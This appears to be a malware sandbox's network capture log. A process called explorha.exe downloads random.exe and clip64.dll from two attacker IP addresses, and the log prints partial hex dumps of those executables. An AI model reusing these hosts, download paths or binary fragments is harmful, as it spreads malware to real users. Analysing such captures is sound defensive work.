Apr 13, 2024 20:21:05.511492014 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:05 GMT Content-Type: application/octet-stream Content-Length: 1285632 Last-Modified: Sun, 03 Mar 2024 11:54:33 GMT Connection: keep-alive ETag: "65e464f9-139e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 de c9 0d 82 bf a7 5e 82 bf a7 5e 82 bf a7 5e d9 d7 a3 5f 91 bf a7 5e d9 d7 a4 5f 92 bf a7 5e d9 d7 a2 5f 32 bf a7 5e 57 d2 a2 5f c4 bf a7 5e 57 d2 a3 5f 8d bf a7 5e 57 d2 a4 5f 8b bf a7 5e d9 d7 a6 5f 8f bf a7 5e 82 bf a6 5e 43 bf a7 5e 19 d1 ae 5f 86 bf a7 5e 19 d1 a7 5f 83 bf a7 5e 19 d1 58 5e 83 bf a7 5e 19 d1 a5 5f 83 bf a7 5e 52 69 63 68 82 bf a7 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 69 12 e4 65 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 c0 0f 00 00 52 04 00 00 00 00 00 68 06 0d 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 14 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 89 12 00 58 00 00 00 78 89 12 00 8c 00 00 00 00 20 14 00 f8 00 00 00 00 60 13 00 28 ad 00 00 00 00 00 00 00 00 00 00 00 30 14 00 f4 15 00 00 b0 9e 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 9f 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 d0 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 be 0f 00 00 10 00 00 00 c0 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 cd 02 00 00 d0 0f 00 00 ce 02 00 00 c4 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c bb 00 00 00 a0 12 00 00 44 00 00 00 92 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 ad 00 00 00 60 13 00 00 ae 00 00 00 d6 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 10 14 00 00 02 00 00 00 84 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 20 14 00 00 02 00 00 00 86 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f4 15 00 00 00 30 14 00 00 16 00 00 00 88 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$^^^_^_^_2^W_^W_^W_^_^^C^_^_^X^^_^Rich^PEdie" RhP` Xx `(0p .text `.rdata@@.dataLD@.pdata(`@@_RDATA@@.rsrc @@.reloc0@B
Apr 13, 2024 20:21:05.511533022 CEST	1289	IN	Data Raw: 00 00 00 00 48 83 ec 28 41 b8 20 00 00 00 48 8d 15 97 6e 11 00 48 8d 0d e0 bb 12 00 e8 d3 20 0c 00 48 8d 0d 0c 85 0f 00 48 83 c4 28 e9 cf f2 0c 00 cc cc cc 48 83 ec 28 41 b8 20 00 00 00 48 8d 15 8f 6e 11 00 48 8d 0d b0 c2 12 00 e8 a3 20 0c 00 48 Data Ascii: H(A HnH HH(H(A HnH HLH(H(AHnHs HH(oH(A H_nHC HH(?H(AHWnH HH(
Apr 13, 2024 20:21:05.511570930 CEST	1289	IN	Data Raw: 83 c4 28 e9 ef ed 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 4f 6c 11 00 48 8d 0d b0 b5 12 00 e8 c3 1b 0c 00 48 8d 0d cc 8b 0f 00 48 83 c4 28 e9 bf ed 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 2f 6c 11 00 48 8d 0d c0 bd 12 Data Ascii: (H(AHOlHHH(H(AH/lHHH(H(A(HlHcHLH(_H(AHlH3HH(/H(AHkHHH(
Apr 13, 2024 20:21:05.511610031 CEST	1289	IN	Data Raw: 8d 0d 4c 92 0f 00 48 83 c4 28 e9 df e8 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 57 69 11 00 48 8d 0d a0 b7 12 00 e8 b3 16 0c 00 48 8d 0d 8c 92 0f 00 48 83 c4 28 e9 af e8 0c 00 cc cc cc 48 83 ec 28 41 b8 04 00 00 00 48 8d 15 37 69 11 Data Ascii: LH(H(AHWiHHH(H(AH7iHHH(H(AHiHSHH(OH(AHhH#HLH(H(AHhH`H
Apr 13, 2024 20:21:05.511646986 CEST	1289	IN	Data Raw: 00 e8 d3 11 0c 00 48 8d 0d 0c 99 0f 00 48 83 c4 28 e9 cf e3 0c 00 cc cc cc 48 83 ec 28 41 b8 34 00 00 00 48 8d 15 cf 67 11 00 48 8d 0d b0 b8 12 00 e8 a3 11 0c 00 48 8d 0d 4c 99 0f 00 48 83 c4 28 e9 9f e3 0c 00 cc cc cc 48 83 ec 28 41 b8 28 00 00 Data Ascii: HH(H(A4HgHHLH(H(A(HgHsHH(oH(AHgHCHH(?H(A4HgHHH(H(A(HgH
Apr 13, 2024 20:21:05.511686087 CEST	1289	IN	Data Raw: c7 80 80 00 00 00 0f 00 00 00 88 50 68 48 89 90 98 00 00 00 48 c7 80 a0 00 00 00 0f 00 00 00 88 90 88 00 00 00 48 89 90 b8 00 00 00 48 c7 80 c0 00 00 00 0f 00 00 00 88 90 a8 00 00 00 48 89 90 d8 00 00 00 48 c7 80 e0 00 00 00 0f 00 00 00 88 90 c8 Data Ascii: PhHHHHHHHHHH H8H@(HXH`HHxHhHHHH
Apr 13, 2024 20:21:05.511724949 CEST	1289	IN	Data Raw: 00 00 0f 00 00 00 88 90 c8 00 00 00 48 89 90 f8 00 00 00 48 c7 80 00 01 00 00 0f 00 00 00 88 90 e8 00 00 00 48 89 90 18 01 00 00 48 c7 80 20 01 00 00 0f 00 00 00 88 90 08 01 00 00 48 89 90 38 01 00 00 48 c7 80 40 01 00 00 0f 00 00 00 88 90 28 01 Data Ascii: HHHH H8H@(HXH`HHxHhHHHHHHHHHH
Apr 13, 2024 20:21:05.511765957 CEST	1289	IN	Data Raw: 00 0f 00 00 00 88 90 28 01 00 00 48 89 90 58 01 00 00 48 c7 80 60 01 00 00 0f 00 00 00 88 90 48 01 00 00 48 89 90 78 01 00 00 48 c7 80 80 01 00 00 0f 00 00 00 88 90 68 01 00 00 48 89 90 98 01 00 00 48 c7 80 a0 01 00 00 0f 00 00 00 88 90 88 01 00 Data Ascii: (HXH`HHxHhHHHHHHHHHH H8H@(HXH`HHxH
Apr 13, 2024 20:21:05.511806965 CEST	1289	IN	Data Raw: 00 48 8d 0d c5 9a 0f 00 e9 b4 cf 0c 00 48 8d 0d 15 9b 0f 00 e9 a8 cf 0c 00 48 8d 0d 49 9b 0f 00 e9 9c cf 0c 00 48 83 ec 28 48 8d 0d 75 b8 12 00 e8 ac dc 0c 00 48 8d 0d 75 9b 0f 00 48 83 c4 28 e9 7c cf 0c 00 b8 01 00 00 00 c3 cc cc cc cc cc cc cc Data Ascii: HHHIH(HuHuH(\|H\$Hl$Ht$ WAVHLTAL5GL@AAt'AB0TB82TuIIEAExAB0TAB0T+uHE3LHuED8t
Apr 13, 2024 20:21:05.511847973 CEST	1289	IN	Data Raw: 8b 57 10 48 8b cb e8 41 b8 06 00 48 8b 3f 48 85 ff 75 ec 48 8b 7e 10 48 85 ff 74 14 48 8b 57 10 48 8b cb e8 74 38 04 00 48 8b 3f 48 85 ff 75 ec 8b 43 28 41 ff c7 48 83 c5 20 44 3b f8 0f 8c 49 ff ff ff 48 8b 6c 24 20 4c 89 b3 20 03 00 00 41 8b fe Data Ascii: WHAH?HuH~HtHWHt8H?HuC(AH D;IHl$ L A~0IHC HL0HtD8qtiuUH ;{(\|HL$(D$0DuH{HL$0H AD$0HtgfDHHE^L9 tHH1-3H;hr"H;psH`
Apr 13, 2024 20:21:05.856729031 CEST	1289	IN	Data Raw: 95 c0 88 46 2b 33 c0 eb 05 b8 01 00 00 00 48 8b 4c 24 78 48 33 cc e8 28 bf 0c 00 4c 8d 9c 24 80 00 00 00 49 8b 5b 20 49 8b 6b 30 49 8b e3 41 5e 5f 5e c3 48 83 ec 08 80 79 2a 00 4c 8b d9 0f 85 2e 01 00 00 80 79 28 00 48 89 1c 24 74 0c 8b 41 08 44 Data Ascii: F+3HL$xH3(L$I[ Ik0IA^_^HyL.y(H$tADIYAAD@ACAAIDOQADAADhAAOiQQDAADAlDiAAAA+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	193.233.132.167	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:06.265743017 CEST	56	OUT	GET /cost/random.exe HTTP/1.1 Host: 193.233.132.167
Apr 13, 2024 20:21:06.614485025 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:06 GMT Content-Type: application/octet-stream Content-Length: 2256896 Last-Modified: Sat, 13 Apr 2024 16:50:12 GMT Connection: keep-alive ETag: "661ab7c4-227000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 9f 1a ea 14 fe 74 b9 14 fe 74 b9 14 fe 74 b9 5f 86 77 b8 1f fe 74 b9 5f 86 71 b8 d4 fe 74 b9 5f 86 73 b8 15 fe 74 b9 d6 7f 89 b9 10 fe 74 b9 d6 7f 70 b8 07 fe 74 b9 d6 7f 77 b8 0e fe 74 b9 d6 7f 71 b8 4f fe 74 b9 5f 86 70 b8 0c fe 74 b9 5f 86 72 b8 15 fe 74 b9 5f 86 75 b8 0f fe 74 b9 14 fe 75 b9 34 ff 74 b9 e7 7c 7d b8 08 fe 74 b9 e7 7c 74 b8 15 fe 74 b9 e7 7c 8b b9 15 fe 74 b9 14 fe e3 b9 15 fe 74 b9 e7 7c 76 b8 15 fe 74 b9 52 69 63 68 14 fe 74 b9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 b6 2a 19 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 34 11 00 00 ac 03 00 00 00 00 00 00 10 58 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 58 00 00 04 00 00 ac 52 23 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 4c e1 57 00 4c 00 00 00 6d 80 14 00 95 00 00 00 00 50 14 00 50 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c e1 57 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec e0 57 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 e4 13 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 14 00 00 10 00 00 00 3e 09 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 50 2e 00 00 00 50 14 00 00 0c 00 00 00 4e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 14 00 00 02 00 00 00 5a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 90 14 00 00 02 00 00 00 5c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6d 6d 69 71 77 62 64 00 10 19 00 00 00 3f 00 00 10 19 00 00 5e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 7a 6e 6d 79 77 64 70 00 10 00 00 00 10 58 00 00 02 00 00 00 6e 22 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$Pttt_wt_qt_sttptwtqOt_pt_rt_utu4t\|}t\|tt\|tt\|vtRichtPELf'4XP@ XR#@LWLmPP.<WWt@ @>@.rsrcP.PN@.idata Z@ p\@kmmiqwbd?^@fznmywdpXn"@
Apr 13, 2024 20:21:06.614504099 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 13, 2024 20:21:06.614521980 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 13, 2024 20:21:06.614541054 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 13, 2024 20:21:06.614558935 CEST	1289	IN	Data Raw: 2c a8 8e c8 17 b8 c4 30 48 c8 c4 40 c2 1d d8 12 41 bb 50 42 93 52 02 fc b3 45 60 e9 00 b0 24 0f 28 05 34 70 98 40 86 b0 68 26 45 df ae 6c 22 30 41 95 93 1f ef 62 b2 df 24 1f 27 98 e9 3a d0 47 b9 91 df 3b 28 44 88 44 15 80 84 2e 8c b3 50 54 28 68 Data Ascii: ,0H@APBRE`$(4p@h&El"0Ab$':G;(DD.PT(hEt""0#) $; .H.O6.P"DBh@@=J!0P!`PB@>i%DpQB4B!$?%i#d)Bu\|"`$H
Apr 13, 2024 20:21:06.614578962 CEST	1289	IN	Data Raw: 04 80 f3 0a f2 a7 a2 a0 e6 60 92 3d a3 71 28 16 f6 ab 51 b4 4b 00 8a 7d 23 b8 e9 84 15 2b c6 50 c3 35 ec f7 65 6a d3 5b 9b e4 02 8a 55 ee f8 a0 8c bc 32 eb 03 1c f1 bc b0 83 ad f1 e5 0f 54 b6 1e 9b fc 74 2a 8a c2 b6 84 b1 3e e2 3f 76 f6 55 48 eb Data Ascii: `=q(QK}#+P5ej[U2Tt>?vUH(H1~/DB;u(!H[Fj=L1Km`auXV_^j/S1U 23NB]7S_3R5Jwv<=4)dV6zu+t/M
Apr 13, 2024 20:21:06.614597082 CEST	1289	IN	Data Raw: 80 40 32 86 9a 9c 92 c9 66 b5 cf 70 23 c2 e7 e0 89 43 f5 1f b7 eb 41 8f 04 31 00 f7 3b c7 0f 43 12 f0 81 fe 37 76 41 8d 46 23 81 79 3b c6 0f 86 e3 50 8d eb bf 85 13 f6 74 16 0a 73 41 45 4b d0 c6 34 45 e4 3f 1c 3c 8d 33 ff 15 02 84 e4 7b 53 28 1d Data Ascii: @2fp#CA1;C7vAF#y;PtsAEK4E?<3{S(69T;uBP`U\aPAF#P4-9t=)KYR/C;X27x0>:Kyjz[xEM^/`LuJ=`$H#(v6 3zUt,A
Apr 13, 2024 20:21:06.614615917 CEST	1289	IN	Data Raw: 5e 57 90 f0 8a 2e 44 51 5f 5a f1 46 f0 e1 b8 9c 4e d0 8b e6 97 90 89 0c 56 e2 6f 39 d3 50 23 9c 7e 86 7b 7d 82 70 f2 93 2c af 28 c0 b5 9d ce 74 24 2b e3 4e d0 df 6a 0d 68 18 9c 64 52 6c 84 f2 a0 aa eb 09 de 91 bd b4 79 17 bc 8b e4 0d 13 77 a9 14 Data Ascii: ^W.DQ_ZFNVo9P#~{}p,(t$+NjhdRlyw/J3 ~>,'T")'lgU?*jA:VVkJmp,[v@1BX, q;-Fr0G%(=u0~OP4`,3VEb
Apr 13, 2024 20:21:06.614635944 CEST	1289	IN	Data Raw: 69 33 85 e8 56 52 b8 1c 39 28 7a b5 0e 00 6b 50 ce a5 57 5e 82 90 16 c5 33 c0 b7 b1 d6 b6 30 26 25 f0 fc a5 5b 7a 34 71 ae 5b 21 3e e1 c9 47 e5 68 80 d6 99 10 ca 5b f6 84 40 48 a7 50 bc 24 97 c6 7f f1 04 ad 76 d2 b9 fb c0 ca 8d 75 e5 85 00 c9 79 Data Ascii: i3VR9(zkPW^30&%[z4q[!>Gh[@HP$vuy4fTN 06TNuN-l0Z;uW{+ HOiW}44c>QHu$W}SOhw*Ru%;%Y
Apr 13, 2024 20:21:06.614656925 CEST	1289	IN	Data Raw: f4 41 35 a0 00 b3 3c 4a 3b 13 c7 74 2c 68 c2 1f 13 2b 5d f8 00 80 39 5e 10 72 5b 6d 89 0a 78 04 ec 30 87 0e 33 d2 3d 66 89 0c 59 eb 2e 72 f0 0c 3b d9 75 0d 4d 83 4c e3 d7 02 fb 06 7c 1c eb c9 83 49 ee c7 33 1e 6a 71 e5 b7 f7 06 cf 90 b8 c5 18 d1 Data Ascii: A5<J;t,h+]9^r[mx03=fY.r;uML\|I3jqk+=6`\UsAQ>[^?g`xDM1brisATHR]g@_RIGD1zC^BVi%F\ePuB779
Apr 13, 2024 20:21:06.961272955 CEST	1289	IN	Data Raw: 6c 7e f7 da 92 fb 64 73 9a a0 c8 dd 5c 25 81 ec 4a 33 c1 f3 8d b8 d4 a5 b4 e0 96 68 98 92 ba cb 1a d0 f0 53 05 70 04 e8 52 ca f8 29 e3 d0 3b 4c 50 77 4e 74 46 72 aa fa 55 4b e0 f4 44 85 a2 10 81 d3 64 84 0d 2d 10 f1 2e 2a 0e 93 b3 92 4a 14 af 4e Data Ascii: l~ds\%J3hSpR);LPwNtFrUKDd-.JN.EHrJO;P.i<d[2'ORV AD wj!Myz6}OpY"A ,)ls$qlNCFm2Rx`$r: p&T\|]6n!>NmO!y$PZCff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:08.905077934 CEST	69	OUT	GET /Pneh2sXQk0/Plugins/clip64.dll HTTP/1.1 Host: 193.233.132.56
Apr 13, 2024 20:21:09.246382952 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:09 GMT Content-Type: application/octet-stream Content-Length: 112128 Last-Modified: Sun, 03 Mar 2024 11:54:32 GMT Connection: keep-alive ETag: "65e464f8-1b600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a 12 e4 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 24 01 00 00 9a 00 00 00 00 00 00 ec 66 00 00 00 10 00 00 00 40 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 a1 01 00 9c 00 00 00 bc a1 01 00 50 00 00 00 00 d0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 d4 14 00 00 f0 8f 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 90 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 23 01 00 00 10 00 00 00 24 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 69 00 00 00 40 01 00 00 6a 00 00 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c 17 00 00 00 b0 01 00 00 0c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 d0 01 00 00 02 00 00 00 9e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 14 00 00 00 e0 01 00 00 16 00 00 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'cjcjcj8iij8oj8nqjnljirjoBj8kdjckjc`jjbjbjhbjRichcjPELje!$f@@ P8(@@L.text6#$ `.rdata4i@j(@@.data@.rsrc@@.reloc@B
Apr 13, 2024 20:21:09.246423960 CEST	1289	IN	Data Raw: 00 00 6a 20 68 08 8d 01 10 b9 60 b8 01 10 e8 0f 44 00 00 68 e0 2c 01 10 e8 7d 51 00 00 59 c3 cc cc cc 6a 20 68 2c 8d 01 10 b9 78 b8 01 10 e8 ef 43 00 00 68 40 2d 01 10 e8 5d 51 00 00 59 c3 cc cc cc 6a 14 68 50 8d 01 10 b9 90 b8 01 10 e8 cf 43 00 Data Ascii: j h`Dh,}QYj h,xCh@-]QYjhPCh-=QYjhhCh.QYjhCh`.PYjhoCh.PYjhOCh /PYjh/C
Apr 13, 2024 20:21:09.246463060 CEST	1289	IN	Data Raw: ff ff 50 c7 85 9c fb ff ff 0f 00 00 00 c6 85 88 fb ff ff 00 e8 00 3f 00 00 c6 45 fc 06 8d b5 88 fb ff ff 83 bd 9c fb ff ff 10 8b bd 88 fb ff ff 8b 95 e8 fb ff ff 0f 43 f7 8b 85 ec fb ff ff 8b 8d 98 fb ff ff 2b c2 89 b5 b0 fb ff ff 89 95 ac fb ff Data Ascii: P?EC+Q;wCCPs VQTDEr+Hr#+QW9H
Apr 13, 2024 20:21:09.246500969 CEST	1289	IN	Data Raw: a1 50 b9 01 10 41 81 f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 ef 00 00 00 8b c2 51 50 e8 f7 43 00 00 83 c4 08 c7 05 60 b9 01 10 00 00 00 00 c7 05 64 b9 01 10 0f 00 00 00 c6 05 50 b9 01 10 00 0f 10 06 0f 11 05 50 b9 01 Data Ascii: PArP#+QPC`dPP~Ff`FFUr(MBrI#+wzRQCEUEEEr(MBrI#+w1RQ;CtuZ
Apr 13, 2024 20:21:09.246540070 CEST	1289	IN	Data Raw: 00 00 c6 06 00 c7 45 fc 00 00 00 00 0f 57 c0 66 0f d6 45 e4 c7 45 ec 00 00 00 00 68 00 04 00 00 c7 45 d0 01 00 00 00 c7 45 e4 00 00 00 00 c7 45 e8 00 00 00 00 c7 45 ec 00 00 00 00 e8 09 3f 00 00 8b f8 b9 00 01 00 00 83 c8 ff 89 7d e4 83 c4 04 8d Data Ascii: EWfEEhEEEE?}UUE3EB@\|E3M3U_9PvxErEt\xFNU;Ns~AFrDuEuQ
